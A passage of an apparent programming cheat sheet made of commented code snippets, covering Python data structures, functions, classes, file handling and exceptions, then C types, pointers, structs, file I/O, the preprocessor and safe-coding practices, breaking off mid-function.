person.values()             # dict_values(['Alice', 30, 'alice@example.com'])
person.items()              # dict_items([('name', 'Alice'), ...])

# Iteration
for key in person:
    print(key, person[key])

for key, value in person.items():
    print(f"{key}: {value}")

# Dictionary comprehension
squares = {x: x**2 for x in range(5)}
# {0: 0, 1: 1, 2: 4, 3: 9, 4: 16}

# Merge dictionaries (Python 3.9+)
dict1 = {"a": 1, "b": 2}
dict2 = {"c": 3, "d": 4}
merged = dict1 | dict2

# Creating sets
my_set = {1, 2, 3, 4, 5}
empty = set()  # Note: {} creates empty dict
from_list = set([1, 2, 2, 3, 3, 3])  # {1, 2, 3}

# Operations
my_set.add(6)
my_set.remove(3)        # KeyError if not exists
my_set.discard(3)       # No error if not exists
my_set.pop()            # Remove and return arbitrary element

# Set operations
a = {1, 2, 3, 4}
b = {3, 4, 5, 6}
union = a | b           # {1, 2, 3, 4, 5, 6}
intersection = a & b    # {3, 4}
difference = a - b      # {1, 2}
symmetric_diff = a ^ b  # {1, 2, 5, 6}

# Set comprehension
evens = {x for x in range(10) if x % 2 == 0}

age = 18

if age < 13:
    print("Child")
elif age < 20:
    print("Teenager")
else:
    print("Adult")

# Ternary operator
status = "Adult" if age >= 18 else "Minor"

# Check multiple conditions
if 10 < age < 20:
    print("Teenager")

# For loop
for i in range(5):
    print(i)  # 0, 1, 2, 3, 4

for i in range(0, 10, 2):  # Start, stop, step
    print(i)  # 0, 2, 4, 6, 8

# Iterate over list
fruits = ["apple", "banana", "cherry"]
for fruit in fruits:
    print(fruit)

# Enumerate (get index and value)
for idx, fruit in enumerate(fruits):
    print(f"{idx}: {fruit}")

# While loop
count = 0
while count < 5:
    print(count)
    count += 1

# Break and continue
for i in range(10):
    if i == 3:
        continue  # Skip 3
    if i == 7:
        break     # Stop at 7
    print(i)

# Else clause (runs if loop completes without break)
for i in range(5):
    print(i)
else:
    print("Loop completed")

# Simple function
def greet(name):
    return f"Hello, {name}!"

# Default arguments
def greet(name="World"):
    return f"Hello, {name}!"

# Multiple return values
def get_stats(numbers):
    return min(numbers), max(numbers), sum(numbers)/len(numbers)

minimum, maximum, average = get_stats([1, 2, 3, 4, 5])

# *args (variable positional arguments)
def sum_all(*args):
    return sum(args)

print(sum_all(1, 2, 3, 4, 5))  # 15

# **kwargs (variable keyword arguments)
def print_info(**kwargs):
    for key, value in kwargs.items():
        print(f"{key}: {value}")

print_info(name="Alice", age=30, city="NYC")

# Lambda functions
square = lambda x: x**2
add = lambda x, y: x + y

# Map, Filter, Reduce
numbers = [1, 2, 3, 4, 5]
squared = list(map(lambda x: x**2, numbers))
evens = list(filter(lambda x: x % 2 == 0, numbers))

from functools import reduce
product = reduce(lambda x, y: x * y, numbers)  # 120

# Simple decorator
def my_decorator(func):
    def wrapper(*args, **kwargs):
        print("Before function call")
        result = func(*args, **kwargs)
        print("After function call")
        return result
    return wrapper

@my_decorator
def say_hello():
    print("Hello!")

say_hello()
# Output:
# Before function call
# Hello!
# After function call

# Decorator with arguments
def repeat(times):
    def decorator(func):
        def wrapper(*args, **kwargs):
            for _ in range(times):
                result = func(*args, **kwargs)
            return result
        return wrapper
    return decorator

@repeat(3)
def greet(name):
    print(f"Hello, {name}!")

greet("Alice")  # Prints 3 times

# Common built-in decorators
class MyClass:
    @staticmethod
    def static_method():
        print("Static method")

    @classmethod
    def class_method(cls):
        print(f"Class method of {cls}")

    @property
    def value(self):
        return self._value

    @value.setter
    def value(self, val):
        self._value = val

class Person:
    # Class variable (shared by all instances)
    species = "Homo sapiens"

    def __init__(self, name, age):
        # Instance variables
        self.name = name
        self.age = age

    # Instance method
    def greet(self):
        return f"Hello, I'm {self.name} and I'm {self.age} years old"

    # Magic methods
    def __str__(self):
        return f"Person({self.name}, {self.age})"

    def __repr__(self):
        return f"Person('{self.name}', {self.age})"

    def __eq__(self, other):
        return self.name == other.name and self.age == other.age

# Creating objects
person1 = Person("Alice", 30)
person2 = Person("Bob", 25)

print(person1.greet())
print(str(person1))

# Single inheritance
class Animal:
    def __init__(self, name):
        self.name = name

    def speak(self):
        pass

class Dog(Animal):
    def speak(self):
        return f"{self.name} says Woof!"

class Cat(Animal):
    def speak(self):
        return f"{self.name} says Meow!"

dog = Dog("Buddy")
cat = Cat("Whiskers")
print(dog.speak())  # Buddy says Woof!

# Multiple inheritance
class Flyer:
    def fly(self):
        return "Flying..."

class Swimmer:
    def swim(self):
        return "Swimming..."

class Duck(Animal, Flyer, Swimmer):
    def speak(self):
        return f"{self.name} says Quack!"

duck = Duck("Donald")
print(duck.speak())  # Donald says Quack!
print(duck.fly())    # Flying...
print(duck.swim())   # Swimming...

# super() for parent class
class Employee(Person):
    def __init__(self, name, age, employee_id):
        super().__init__(name, age)
        self.employee_id = employee_id

    def get_info(self):
        return f"{self.greet()}, ID: {self.employee_id}"

from dataclasses import dataclass, field
from typing import List

@dataclass
class Person:
    name: str
    age: int
    email: str = "unknown@example.com"  # Default value
    hobbies: List[str] = field(default_factory=list)

    def greet(self):
        return f"Hello, I'm {self.name}"

person = Person("Alice", 30)
print(person)  # Person(name='Alice', age=30, email='unknown@example.com', hobbies=[])

# Frozen (immutable) dataclass
@dataclass(frozen=True)
class Point:
    x: int
    y: int

class Singleton:
    _instance = None

    def __new__(cls):
        if cls._instance is None:
            cls._instance = super().__new__(cls)
        return cls._instance

# All instances are the same
s1 = Singleton()
s2 = Singleton()
print(s1 is s2)  # True

class Dog:
    def speak(self):
        return "Woof!"

class Cat:
    def speak(self):
        return "Meow!"

class AnimalFactory:
    @staticmethod
    def create_animal(animal_type):
        if animal_type == "dog":
            return Dog()
        elif animal_type == "cat":
            return Cat()
        else:
            raise ValueError(f"Unknown animal type: {animal_type}")

# Usage
animal = AnimalFactory.create_animal("dog")
print(animal.speak())  # Woof!

# Custom context manager
class FileManager:
    def __init__(self, filename, mode):
        self.filename = filename
        self.mode = mode
        self.file = None

    def __enter__(self):
        self.file = open(self.filename, self.mode)
        return self.file

    def __exit__(self, exc_type, exc_val, exc_tb):
        if self.file:
            self.file.close()

# Usage
with FileManager('test.txt', 'w') as f:
    f.write('Hello, World!')

# Using contextlib
from contextlib import contextmanager

@contextmanager
def file_manager(filename, mode):
    f = open(filename, mode)
    try:
        yield f
    finally:
        f.close()

with file_manager('test.txt', 'r') as f:
    content = f.read()

# Iterator
class Counter:
    def __init__(self, start, end):
        self.current = start
        self.end = end

    def __iter__(self):
        return self

    def __next__(self):
        if self.current > self.end:
            raise StopIteration
        current = self.current
        self.current += 1
        return current

for num in Counter(1, 5):
    print(num)  # 1, 2, 3, 4, 5

# Generator
def counter(start, end):
    while start <= end:
        yield start
        start += 1

for num in counter(1, 5):
    print(num)

# Generator expressions
squares = (x**2 for x in range(10))
print(next(squares))  # 0
print(next(squares))  # 1

# Reading files
with open('file.txt', 'r', encoding='utf-8') as f:
    content = f.read()          # Read entire file

with open('file.txt', 'r', encoding='utf-8') as f:
    lines = f.readlines()       # Read all lines as list

with open('file.txt', 'r', encoding='utf-8') as f:
    for line in f:              # Iterate line by line
        print(line.strip())

# Writing files
with open('file.txt', 'w', encoding='utf-8') as f:
    f.write('Hello, World!\n')

# Appending
with open('file.txt', 'a', encoding='utf-8') as f:
    f.write('New line\n')

# Binary files
with open('image.png', 'rb') as f:
    data = f.read()

# JSON files
import json

# Write JSON
data = {"name": "Alice", "age": 30}
with open('data.json', 'w', encoding='utf-8') as f:
    json.dump(data, f, indent=2)

# Read JSON
with open('data.json', 'r', encoding='utf-8') as f:
    data = json.load(f)

# CSV files
import csv

# Write CSV
with open('data.csv', 'w', newline='', encoding='utf-8') as f:
    writer = csv.writer(f)
    writer.writerow(['Name', 'Age', 'City'])
    writer.writerow(['Alice', 30, 'NYC'])

# Read CSV
with open('data.csv', 'r', encoding='utf-8') as f:
    reader = csv.reader(f)
    for row in reader:
        print(row)

# Try-except
try:
    result = 10 / 0
except ZeroDivisionError:
    print("Cannot divide by zero!")

# Multiple exceptions
try:
    value = int("abc")
except (ValueError, TypeError) as e:
    print(f"Error: {e}")

# Catch all exceptions
try:
    risky_operation()
except Exception as e:
    print(f"An error occurred: {e}")

# Finally block
try:
    f = open('file.txt', 'r')
    content = f.read()
except FileNotFoundError:
    print("File not found")
finally:
    f.close()  # Always executes

# Else block
try:
    result = 10 / 2
except ZeroDivisionError:
    print("Error")
else:
    print("Success!")  # Runs if no exception

# Raising exceptions
def validate_age(age):
    if age < 0:
        raise ValueError("Age cannot be negative")
    return age

# Custom exceptions
class InvalidAgeError(Exception):
    pass

def check_age(age):
    if age < 0:
        raise InvalidAgeError("Age must be positive")

from dataclasses import dataclass
import pandas as pd
from typing import List

@dataclass
class Person:
    name: str
    age: int
    email: str

# Load data from Excel
def load_people_from_excel(file_path: str) -> List[Person]:
    df = pd.read_excel(file_path)
    return [
        Person(
            name=row['name'],
            age=row['age'],
            email=row['email']
        ) for _, row in df.iterrows()
    ]

# Usage
people = load_people_from_excel("data.xlsx")
for person in people:
    print(f"{person.name} is {person.age} years old")

# With column mapping
EXCEL_TO_CLASS_MAPPING = {
    'Full Name': 'name',
    'Person Age': 'age',
    'E-mail Address': 'email'
}

def load_with_mapping(file_path: str) -> List[Person]:
    df = pd.read_excel(file_path)
    df = df.rename(columns=EXCEL_TO_CLASS_MAPPING)
    return [Person(**row) for _, row in df.iterrows()]

# List comprehension vs map/filter
numbers = range(10)
squares = [x**2 for x in numbers]
evens = [x for x in numbers if x % 2 == 0]

# Dictionary get with default
config = {"debug": True}
log_level = config.get("log_level", "INFO")

# String joining
words = ["Hello", "World"]
sentence = " ".join(words)

# Enumerate
for idx, value in enumerate(['a', 'b', 'c']):
    print(f"{idx}: {value}")

# Zip
names = ["Alice", "Bob", "Charlie"]
ages = [25, 30, 35]
for name, age in zip(names, ages):
    print(f"{name} is {age} years old")

# Unpacking
first, *middle, last = [1, 2, 3, 4, 5]

# Swapping variables
a, b = 10, 20
a, b = b, a

# Chaining comparisons
if 0 < x < 10:
    print("x is between 0 and 10")

# In-place operations
numbers = [1, 2, 3]
numbers += [4, 5]  # Extend list

# any() and all()
numbers = [2, 4, 6, 8]
all_even = all(x % 2 == 0 for x in numbers)
has_even = any(x % 2 == 0 for x in numbers)

# Create virtual environment
python -m venv venv

# Activate (Linux/Mac)
source venv/bin/activate

# Activate (Windows)
venv\Scripts\activate

# Install packages
pip install requests pandas numpy

# Save dependencies
pip freeze > requirements.txt

# Install from requirements
pip install -r requirements.txt

# Deactivate
deactivate

def greet(name: str) -> str:
    return f"Hello, {name}!"

from typing import List, Dict, Optional

def process_data(items: List[int]) -> Dict[str, int]:
    return {"sum": sum(items), "count": len(items)}

# Good
squares = [x**2 for x in range(10)]

# Avoid for complex logic
# Use regular loops instead

with open('file.txt', 'r') as f:
    data = f.read()

name = "Alice"
age = 30
print(f"{name} is {age} years old")

#include <stdio.h>     // Preprocessor directive
#include <stdlib.h>

// Function prototype
int add(int a, int b);

// Main function - entry point
int main(void) {
    printf("Hello, World!\n");

    int result = add(5, 3);
    printf("5 + 3 = %d\n", result);

    return 0;  // Return success code
}

// Function definition
int add(int a, int b) {
    return a + b;
}

// Single-line comment

/*
 * Multi-line comment
 * Spans multiple lines
 */

// Integer types
char c = 'A';              // 1 byte: -128 to 127
unsigned char uc = 255;    // 1 byte: 0 to 255
short s = 32000;           // 2 bytes: -32,768 to 32,767
unsigned short us = 65000; // 2 bytes: 0 to 65,535
int i = 100000;            // 4 bytes: -2,147,483,648 to 2,147,483,647
unsigned int ui = 400000;  // 4 bytes: 0 to 4,294,967,295
long l = 1000000L;         // 4 or 8 bytes (platform-dependent)
unsigned long ul = 2000000UL;
long long ll = 9223372036854775807LL;  // 8 bytes

// Floating-point types
float f = 3.14f;           // 4 bytes, ~7 decimal digits precision
double d = 3.14159265359;  // 8 bytes, ~15 decimal digits precision
long double ld = 3.14159265358979323846L;  // 10-16 bytes

// Boolean (C99 and later)
#include <stdbool.h>
bool flag = true;          // true or false

#include <stdio.h>

int main(void) {
    printf("Size of char: %zu bytes\n", sizeof(char));
    printf("Size of int: %zu bytes\n", sizeof(int));
    printf("Size of float: %zu bytes\n", sizeof(float));
    printf("Size of double: %zu bytes\n", sizeof(double));
    printf("Size of pointer: %zu bytes\n", sizeof(void*));
    return 0;
}

int x;               // Declaration
int y = 10;          // Declaration with initialization
int a, b, c;         // Multiple declarations
int m = 5, n = 10;   // Multiple with initialization

// Variable naming rules:
// - Must start with letter or underscore
// - Can contain letters, digits, underscores
// - Case-sensitive
// - Cannot use reserved keywords

// Using const keyword
const int MAX_SIZE = 100;
const double PI = 3.14159;

// Using #define preprocessor
#define BUFFER_SIZE 1024
#define TRUE 1
#define FALSE 0

// Enumeration constants
enum Color {
    RED,     // 0
    GREEN,   // 1
    BLUE     // 2
};

enum Status {
    SUCCESS = 0,
    ERROR = -1,
    PENDING = 1
};

int a = 10, b = 3;
int sum = a + b;        // Addition: 13
int diff = a - b;       // Subtraction: 7
int prod = a * b;       // Multiplication: 30
int quot = a / b;       // Division: 3 (integer division)
int rem = a % b;        // Modulus: 1

// Increment/Decrement
int x = 5;
x++;    // Post-increment: x = 6
++x;    // Pre-increment: x = 7
x--;    // Post-decrement: x = 6
--x;    // Pre-decrement: x = 5

int a = 5, b = 10;
int result;

result = (a == b);  // Equal to: 0 (false)
result = (a != b);  // Not equal: 1 (true)
result = (a > b);   // Greater than: 0
result = (a < b);   // Less than: 1
result = (a >= b);  // Greater than or equal: 0
result = (a <= b);  // Less than or equal: 1

int a = 1, b = 0;

int and_result = a && b;  // Logical AND: 0
int or_result = a || b;   // Logical OR: 1
int not_result = !a;      // Logical NOT: 0

unsigned int a = 5;   // 0101 in binary
unsigned int b = 3;   // 0011 in binary

unsigned int and = a & b;   // AND: 0001 (1)
unsigned int or = a | b;    // OR: 0111 (7)
unsigned int xor = a ^ b;   // XOR: 0110 (6)
unsigned int not = ~a;      // NOT: 1010 (complement)
unsigned int left = a << 1; // Left shift: 1010 (10)
unsigned int right = a >> 1;// Right shift: 0010 (2)

int x = 10;
x += 5;   // x = x + 5;  (15)
x -= 3;   // x = x - 3;  (12)
x *= 2;   // x = x * 2;  (24)
x /= 4;   // x = x / 4;  (6)
x %= 5;   // x = x % 5;  (1)
x &= 3;   // x = x & 3;
x |= 2;   // x = x | 2;
x ^= 1;   // x = x ^ 1;
x <<= 1;  // x = x << 1;
x >>= 1;  // x = x >> 1;

int a = 10, b = 20;
int max = (a > b) ? a : b;  // max = 20

// Equivalent to:
int max;
if (a > b) {
    max = a;
} else {
    max = b;
}

int age = 18;

if (age >= 18) {
    printf("Adult\n");
} else {
    printf("Minor\n");
}

// if-else if-else
int score = 85;
if (score >= 90) {
    printf("Grade: A\n");
} else if (score >= 80) {
    printf("Grade: B\n");
} else if (score >= 70) {
    printf("Grade: C\n");
} else {
    printf("Grade: F\n");
}

// Nested if
int x = 10, y = 20;
if (x > 0) {
    if (y > 0) {
        printf("Both positive\n");
    }
}

int day = 3;

switch (day) {
    case 1:
        printf("Monday\n");
        break;
    case 2:
        printf("Tuesday\n");
        break;
    case 3:
        printf("Wednesday\n");
        break;
    case 4:
        printf("Thursday\n");
        break;
    case 5:
        printf("Friday\n");
        break;
    case 6:
    case 7:
        printf("Weekend\n");
        break;
    default:
        printf("Invalid day\n");
        break;
}

// Switch with fall-through
char grade = 'B';
switch (grade) {
    case 'A':
    case 'B':
    case 'C':
        printf("Pass\n");
        break;
    case 'D':
    case 'F':
        printf("Fail\n");
        break;
    default:
        printf("Invalid grade\n");
}

// Basic for loop
for (int i = 0; i < 10; i++) {
    printf("%d ", i);
}

// Nested for loop
for (int i = 0; i < 3; i++) {
    for (int j = 0; j < 3; j++) {
        printf("(%d, %d) ", i, j);
    }
    printf("\n");
}

// Multiple expressions
for (int i = 0, j = 10; i < 10; i++, j--) {
    printf("i=%d, j=%d\n", i, j);
}

// Infinite loop
for (;;) {
    // Loop forever (use break to exit)
    break;
}

int count = 0;
while (count < 5) {
    printf("%d ", count);
    count++;
}

// Reading input until condition
int num;
printf("Enter positive numbers (0 to stop): ");
while (scanf("%d", &num) == 1 && num != 0) {
    printf("You entered: %d\n", num);
}

// Infinite loop
while (1) {
    // Loop forever
    break;
}

int num;
do {
    printf("Enter a positive number: ");
    scanf("%d", &num);
} while (num <= 0);

// Executes at least once
int x = 10;
do {
    printf("x = %d\n", x);
    x++;
} while (x < 5);  // Condition false, but body executes once

// break - exits the loop
for (int i = 0; i < 10; i++) {
    if (i == 5) break;
    printf("%d ", i);  // Prints: 0 1 2 3 4
}

// continue - skips to next iteration
for (int i = 0; i < 10; i++) {
    if (i % 2 == 0) continue;
    printf("%d ", i);  // Prints: 1 3 5 7 9
}

// goto - jumps to a label (use sparingly)
int i = 0;
start:
    printf("%d ", i);
    i++;
    if (i < 5) goto start;

// Function prototype (declaration)
int add(int a, int b);
void greet(void);
double calculate(int x, double y);

// Function definition
int add(int a, int b) {
    return a + b;
}

void greet(void) {
    printf("Hello!\n");
    // No return statement needed for void
}

double calculate(int x, double y) {
    return x * y;
}

// Pass by value
void increment(int x) {
    x++;  // Only affects local copy
}

int main(void) {
    int num = 5;
    increment(num);
    printf("%d\n", num);  // Still 5
    return 0;
}

// Pass by reference (using pointers)
void increment_ref(int *x) {
    (*x)++;  // Modifies original value
}

int main(void) {
    int num = 5;
    increment_ref(&num);
    printf("%d\n", num);  // Now 6
    return 0;
}

// Return single value
int square(int x) {
    return x * x;
}

// Return multiple values via pointers
void divide(int a, int b, int *quotient, int *remainder) {
    *quotient = a / b;
    *remainder = a % b;
}

int main(void) {
    int q, r;
    divide(10, 3, &q, &r);
    printf("10 / 3 = %d remainder %d\n", q, r);
    return 0;
}

#include <stdarg.h>

// Function with variable number of arguments
int sum(int count, ...) {
    va_list args;
    va_start(args, count);

    int total = 0;
    for (int i = 0; i < count; i++) {
        total += va_arg(args, int);
    }

    va_end(args);
    return total;
}

int main(void) {
    printf("Sum: %d\n", sum(3, 10, 20, 30));  // 60
    printf("Sum: %d\n", sum(5, 1, 2, 3, 4, 5));  // 15
    return 0;
}

// Factorial
int factorial(int n) {
    if (n <= 1) return 1;
    return n * factorial(n - 1);
}

// Fibonacci
int fibonacci(int n) {
    if (n <= 1) return n;
    return fibonacci(n - 1) + fibonacci(n - 2);
}

// Binary search (recursive)
int binary_search(int arr[], int left, int right, int target) {
    if (left > right) return -1;

    int mid = left + (right - left) / 2;
    if (arr[mid] == target) return mid;
    if (arr[mid] > target) return binary_search(arr, left, mid - 1, target);
    return binary_search(arr, mid + 1, right, target);
}

// Declaration
int numbers[5];

// Declaration with initialization
int primes[5] = {2, 3, 5, 7, 11};

// Partial initialization (rest are 0)
int values[10] = {1, 2, 3};  // {1, 2, 3, 0, 0, 0, 0, 0, 0, 0}

// Size inferred from initializer
int data[] = {10, 20, 30, 40};  // Size: 4

// Zero-initialize all elements
int zeros[100] = {0};

int arr[5] = {10, 20, 30, 40, 50};

// Access elements
int first = arr[0];   // 10
int third = arr[2];   // 30

// Modify elements
arr[1] = 25;          // arr is now {10, 25, 30, 40, 50}

// Loop through array
for (int i = 0; i < 5; i++) {
    printf("%d ", arr[i]);
}

// 2D array
int matrix[3][4] = {
    {1, 2, 3, 4},
    {5, 6, 7, 8},
    {9, 10, 11, 12}
};

// Access elements
int value = matrix[1][2];  // 7

// Loop through 2D array
for (int i = 0; i < 3; i++) {
    for (int j = 0; j < 4; j++) {
        printf("%d ", matrix[i][j]);
    }
    printf("\n");
}

// 3D array
int cube[2][3][4];

int arr[5] = {10, 20, 30, 40, 50};

// Array name is a pointer to first element
int *ptr = arr;  // Same as &arr[0]

// Pointer arithmetic
printf("%d\n", *ptr);       // 10
printf("%d\n", *(ptr + 1)); // 20
printf("%d\n", *(ptr + 2)); // 30

// Equivalent notations
arr[2] == *(arr + 2) == *(ptr + 2) == ptr[2]  // All equal 30

// Array passed as pointer
void print_array(int arr[], int size) {
    for (int i = 0; i < size; i++) {
        printf("%d ", arr[i]);
    }
    printf("\n");
}

// Equivalent declaration
void print_array(int *arr, int size) {
    // Same as above
}

// 2D array
void print_matrix(int rows, int cols, int matrix[rows][cols]) {
    for (int i = 0; i < rows; i++) {
        for (int j = 0; j < cols; j++) {
            printf("%d ", matrix[i][j]);
        }
        printf("\n");
    }
}

int x = 10;
int *ptr = &x;     // ptr stores address of x

printf("Value of x: %d\n", x);           // 10
printf("Address of x: %p\n", (void*)&x); // Memory address
printf("Value of ptr: %p\n", (void*)ptr);// Same as &x
printf("Value at ptr: %d\n", *ptr);      // 10 (dereference)

// Modify through pointer
*ptr = 20;
printf("New value of x: %d\n", x);       // 20

int arr[5] = {10, 20, 30, 40, 50};
int *ptr = arr;

printf("%d\n", *ptr);       // 10
printf("%d\n", *(ptr + 1)); // 20
printf("%d\n", *(ptr + 2)); // 30

ptr++;                      // Move to next element
printf("%d\n", *ptr);       // 20

ptr += 2;                   // Move 2 elements forward
printf("%d\n", *ptr);       // 40

int x = 10;
int *ptr1 = &x;
int **ptr2 = &ptr1;

printf("%d\n", **ptr2);  // 10

// Modify through double pointer
**ptr2 = 20;
printf("%d\n", x);       // 20

int *ptr = NULL;  // Initialize to NULL

// Always check before dereferencing
if (ptr != NULL) {
    printf("%d\n", *ptr);
} else {
    printf("Pointer is NULL\n");
}

// Function pointer declaration
int (*func_ptr)(int, int);

int add(int a, int b) {
    return a + b;
}

int multiply(int a, int b) {
    return a * b;
}

int main(void) {
    func_ptr = add;
    printf("10 + 5 = %d\n", func_ptr(10, 5));  // 15

    func_ptr = multiply;
    printf("10 * 5 = %d\n", func_ptr(10, 5));  // 50

    return 0;
}

// Array of function pointers
int (*operations[2])(int, int) = {add, multiply};
printf("Result: %d\n", operations[0](10, 5));  // 15

// Define struct
struct Point {
    int x;
    int y;
};

// Create struct variable
struct Point p1;
p1.x = 10;
p1.y = 20;

// Initialize during declaration
struct Point p2 = {30, 40};

// Designated initializers (C99)
struct Point p3 = {.x = 50, .y = 60};

typedef struct {
    char name[50];
    int age;
    float gpa;
} Student;

// Now can use Student instead of struct Student
Student s1 = {"Alice", 20, 3.8};
printf("Name: %s, Age: %d, GPA: %.2f\n", s1.name, s1.age, s1.gpa);

typedef struct {
    int day;
    int month;
    int year;
} Date;

typedef struct {
    char name[50];
    Date birthdate;
    float salary;
} Employee;

Employee emp = {"John", {15, 8, 1990}, 50000.0};
printf("Name: %s\n", emp.name);
printf("Birthdate: %d/%d/%d\n", emp.birthdate.day,
       emp.birthdate.month, emp.birthdate.year);

typedef struct {
    int x;
    int y;
} Point;

Point p1 = {10, 20};
Point *ptr = &p1;

// Access members through pointer
printf("x: %d, y: %d\n", (*ptr).x, (*ptr).y);

// Arrow operator (shorthand)
printf("x: %d, y: %d\n", ptr->x, ptr->y);

typedef struct {
    char name[30];
    int age;
} Person;

Person people[3] = {
    {"Alice", 25},
    {"Bob", 30},
    {"Charlie", 35}
};

for (int i = 0; i < 3; i++) {
    printf("%s is %d years old\n", people[i].name, people[i].age);
}

// Union: all members share same memory location
union Data {
    int i;
    float f;
    char c;
};

union Data data;
data.i = 10;
printf("i: %d\n", data.i);

data.f = 3.14;  // Overwrites i
printf("f: %.2f\n", data.f);
printf("i: %d\n", data.i);  // Corrupted

printf("Size of union: %zu\n", sizeof(union Data));  // Size of largest member

// Define enum
enum Day {
    MONDAY,    // 0
    TUESDAY,   // 1
    WEDNESDAY, // 2
    THURSDAY,  // 3
    FRIDAY,    // 4
    SATURDAY,  // 5
    SUNDAY     // 6
};

enum Day today = WEDNESDAY;

// Custom values
enum Status {
    SUCCESS = 0,
    ERROR = -1,
    PENDING = 1,
    TIMEOUT = 2
};

// Typedef with enum
typedef enum {
    RED,
    GREEN,
    BLUE
} Color;

Color favorite = BLUE;

#include <stdio.h>

FILE *file = fopen("data.txt", "r");  // Open for reading
if (file == NULL) {
    perror("Error opening file");
    return 1;
}

// Use file...

fclose(file);  // Always close when done

// fprintf - formatted output
FILE *file = fopen("output.txt", "w");
fprintf(file, "Hello, %s!\n", "World");
fprintf(file, "Number: %d\n", 42);
fclose(file);

// fputs - write string
FILE *file = fopen("output.txt", "w");
fputs("Line 1\n", file);
fputs("Line 2\n", file);
fclose(file);

// fwrite - binary write
int numbers[] = {1, 2, 3, 4, 5};
FILE *file = fopen("data.bin", "wb");
fwrite(numbers, sizeof(int), 5, file);
fclose(file);

// fscanf - formatted input
FILE *file = fopen("input.txt", "r");
int num;
char str[50];
fscanf(file, "%d %s", &num, str);
fclose(file);

// fgets - read line
FILE *file = fopen("input.txt", "r");
char line[100];
while (fgets(line, sizeof(line), file) != NULL) {
    printf("%s", line);
}
fclose(file);

// fread - binary read
int numbers[5];
FILE *file = fopen("data.bin", "rb");
fread(numbers, sizeof(int), 5, file);
fclose(file);

// fgetc - read character
FILE *file = fopen("input.txt", "r");
int ch;
while ((ch = fgetc(file)) != EOF) {
    putchar(ch);
}
fclose(file);

FILE *file = fopen("data.txt", "r");

// ftell - get current position
long pos = ftell(file);

// fseek - set position
fseek(file, 0, SEEK_SET);  // Beginning of file
fseek(file, 0, SEEK_END);  // End of file
fseek(file, 10, SEEK_CUR); // 10 bytes from current position

// rewind - reset to beginning
rewind(file);

fclose(file);

FILE *file = fopen("data.txt", "r");
if (file == NULL) {
    perror("fopen");
    return 1;
}

// Check for errors
if (ferror(file)) {
    fprintf(stderr, "Error reading file\n");
}

// Check for end of file
if (feof(file)) {
    printf("End of file reached\n");
}

fclose(file);

#include <stdio.h>     // System header
#include <stdlib.h>
#include <string.h>

#include "myheader.h"  // User-defined header

// Constants
#define PI 3.14159
#define MAX_SIZE 1000
#define BUFFER_LEN 256

// Macros
#define SQUARE(x) ((x) * (x))
#define MAX(a, b) ((a) > (b) ? (a) : (b))
#define MIN(a, b) ((a) < (b) ? (a) : (b))

// Multi-line macro
#define SWAP(a, b, type) do { \
    type temp = a;            \
    a = b;                    \
    b = temp;                 \
} while(0)

// Usage
int result = SQUARE(5);  // 25
int max_val = MAX(10, 20);  // 20

#define DEBUG 1

#ifdef DEBUG
    printf("Debug mode enabled\n");
#endif

#ifndef RELEASE
    printf("Not in release mode\n");
#endif

#if DEBUG == 1
    printf("Debug level 1\n");
#elif DEBUG == 2
    printf("Debug level 2\n");
#else
    printf("Debug disabled\n");
#endif

// Prevent multiple inclusion
#ifndef MYHEADER_H
#define MYHEADER_H

// Header contents...

#endif  // MYHEADER_H

printf("File: %s\n", __FILE__);      // Current filename
printf("Line: %d\n", __LINE__);      // Current line number
printf("Date: %s\n", __DATE__);      // Compilation date
printf("Time: %s\n", __TIME__);      // Compilation time
printf("Function: %s\n", __func__);  // Current function name (C99)

// Undefine a macro
#define TEMP 100
#undef TEMP

// Compiler-specific directives
#pragma once  // Alternative to include guards (non-standard)
#pragma pack(1)  // Structure packing

int process_file(const char *filename) {
    FILE *file = fopen(filename, "r");
    if (file == NULL) {
        perror("fopen");
        return -1;
    }

    char *buffer = malloc(1024);
    if (buffer == NULL) {
        fclose(file);
        perror("malloc");
        return -1;
    }

    // Process file...

    // Cleanup
    free(buffer);
    fclose(file);
    return 0;
}

void swap(void *a, void *b, size_t size) {
    unsigned char *p = a;
    unsigned char *q = b;
    unsigned char temp;

    for (size_t i = 0; i < size; i++) {
        temp = p[i];
        p[i] = q[i];
        q[i] = temp;
    }
}

// Usage
int x = 10, y = 20;
swap(&x, &y, sizeof(int));
printf("x=%d, y=%d\n", x, y);  // x=20, y=10

typedef struct Node {
    int data;
    struct Node *next;
} Node;

// Insert at beginning
Node* insert_front(Node *head, int data) {
    Node *new_node = malloc(sizeof(Node));
    if (new_node == NULL) return head;

    new_node->data = data;
    new_node->next = head;
    return new_node;
}

// Print list
void print_list(Node *head) {
    Node *current = head;
    while (current != NULL) {
        printf("%d -> ", current->data);
        current = current->next;
    }
    printf("NULL\n");
}

// Free list
void free_list(Node *head) {
    Node *current = head;
    while (current != NULL) {
        Node *temp = current;
        current = current->next;
        free(temp);
    }
}

int main(int argc, char *argv[]) {
    printf("Program name: %s\n", argv[0]);
    printf("Number of arguments: %d\n", argc - 1);

    for (int i = 1; i < argc; i++) {
        printf("Argument %d: %s\n", i, argv[i]);
    }

    return 0;
}

// Run: ./program arg1 arg2 arg3
// Output:
// Program name: ./program
// Number of arguments: 3
// Argument 1: arg1
// Argument 2: arg2
// Argument 3: arg3

// Use meaningful names
int calculate_average(int *scores, int count);  // Good
int calc(int *a, int n);                        // Avoid

// Use constants instead of magic numbers
#define MAX_STUDENTS 100
int students[MAX_STUDENTS];  // Good

int students[100];  // Avoid

// Group related code
typedef struct {
    char name[50];
    int age;
} Person;

Person create_person(const char *name, int age);
void print_person(const Person *p);
void free_person(Person *p);

// Always check malloc return value
int *ptr = malloc(sizeof(int) * 100);
if (ptr == NULL) {
    fprintf(stderr, "Memory allocation failed\n");
    return -1;
}

// Always free allocated memory
free(ptr);
ptr = NULL;  // Prevent dangling pointer

// Avoid memory leaks
void bad_function() {
    int *data = malloc(sizeof(int) * 100);
    if (some_error) {
        return;  // LEAK! Forgot to free
    }
    free(data);
}

void good_function() {
    int *data = malloc(sizeof(int) * 100);
    if (data == NULL) return;

    if (some_error) {
        free(data);  // Clean up before return
        return;
    }

    free(data);
}

// Use strncpy instead of strcpy
char dest[20];
strncpy(dest, source, sizeof(dest) - 1);
dest[sizeof(dest) - 1] = '\0';  // Ensure null termination

// Use snprintf instead of sprintf
char buffer[50];
snprintf(buffer, sizeof(buffer), "Value: %d", value);

// Check array bounds
for (int i = 0; i < array_size; i++) {
    // Safe access
}

// Use const for read-only parameters
int calculate_sum(const int *arr, int size);

// Return error codes
int read_file(const char *filename, char **buffer) {
    if (filename == NULL || buffer == NULL) {
        return -1;  // Invalid parameters
    }

